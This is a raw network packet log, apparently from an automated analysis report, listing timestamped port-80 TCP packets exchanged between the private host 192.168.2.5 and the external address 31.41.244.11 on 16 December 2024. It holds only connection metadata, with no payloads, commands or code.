Dec 16, 2024 09:01:14.889776945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.889834881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.889888048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.889934063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.890810966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.890863895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.890903950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.890973091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.891807079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.891864061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.891874075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.891931057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.892808914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.892854929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.892957926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.893002033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.893769979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.893821955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.893842936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.893903017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.034575939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.034591913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.034643888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.035007954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.035103083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.035142899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.035856962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.035896063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.036000967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.036840916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.036883116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.037213087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.037256956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.037287951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.037357092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.038151026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.038201094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.038265944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.038348913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.039175034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.039227962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.039293051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.039351940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.040168047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.040214062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.040271044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.040334940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.041142941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.041275024 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.041321993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.042143106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.042272091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.042316914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.043185949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.043230057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.043288946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.044150114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.044192076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.044261932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.045139074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.045180082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.045241117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.045283079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.046139002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.046256065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.046302080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.047132969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.047247887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.047295094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.048141003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.048183918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.048279047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.049149036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.049194098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.049225092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.049531937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.050131083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.050282955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.050322056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.051130056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.051227093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.051268101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.052087069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.052129030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.052217960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.053097010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.053108931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.053141117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.054097891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.054223061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.054265976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.055109978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.055151939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.055247068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.056094885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.056142092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.056174040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.057096004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.057143927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.057187080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.057229042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.058082104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.058223009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.058268070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.059117079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.059273005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.059333086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.060087919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.060192108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.060231924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.061098099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.061232090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.061275005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.062133074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.062263012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.062314034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.063086987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.063150883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.063184023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.063229084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.064070940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.064115047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.064183950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.064229012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.065076113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.065186024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.065197945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.065262079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.066157103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.066198111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.066200018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.066237926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.067049026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.067164898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.067210913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.068069935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.068166018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.068219900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.069032907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.069075108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.069106102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.069787979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.070031881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.070074081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.070135117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.070175886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.071089029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.071126938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.071206093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.071240902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.072026014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.072076082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.072150946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.072191954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.073023081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.073064089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.073146105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.073189020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.074033022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.074074984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.074120998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.075016975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.075115919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.075143099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.075158119 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.076021910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.076168060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.076225996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.077002048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.077104092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.077111006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.077157974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.078016043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.078078032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.078098059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.078144073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.078994036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.079096079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.079143047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.079981089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.080092907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.080140114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.081027985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.081074953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.081134081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.081518888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.081974983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.082015991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.082082987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.082123041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.082981110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.083023071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.083117008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.084003925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.084048986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.084155083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.084973097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.085020065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.085077047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.085118055 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.085990906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.086045980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.086091995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.226680040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.226739883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.226990938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.227138996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.227248907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.227305889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.228106976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.228152037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.228378057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.228502989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.229103088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.229145050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.229389906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.229434967 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.229511023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.229553938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.230384111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.230427980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.230505943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.230546951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.231430054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.231470108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.231470108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.231509924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.232382059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.232422113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.232472897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.232513905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.233359098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.233402967 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.233437061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.233479977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.234365940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.234410048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.234469891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.234512091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.235414982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.235460043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.235578060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.235618114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.236452103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.236494064 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.236515045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.236557961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.237374067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.237418890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.237449884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.237489939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.238358021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.238399982 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.238408089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.238452911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.239372015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.239413977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.239435911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.239479065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.240367889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.240428925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.240505934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.240551949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.241370916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.241420031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.241493940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.241540909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.242357969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.242400885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.242477894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.242522955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.243463039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.243498087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.243510008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.243541956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.244354010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.244400024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.244473934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.244522095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.245362043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.245409966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.245521069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.245568991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.246344090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.246392012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.246443033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.246489048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.247345924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.247390985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.247453928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.247498035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.248363972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.248410940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.248538971 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.248584986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.249583006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.249628067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.249671936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.249720097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.250346899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.250395060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.250473976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.250521898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.251346111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.251394987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.251451015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.251497984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.252335072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.252387047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.252434969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.252482891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.253335953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.253387928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.253452063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.253499031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.254314899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.254364967 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.254367113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.254415035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.255340099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.255388021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.255450010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.255501986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.256311893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.256361961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.256422997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.256470919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.257312059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.257358074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.257419109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.257467031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.258311987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.258418083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.258474112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.258522987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.259371996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.259422064 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.259463072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.259510994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.260301113 CET	80	49817	31.41.244.11	192.168.2.5
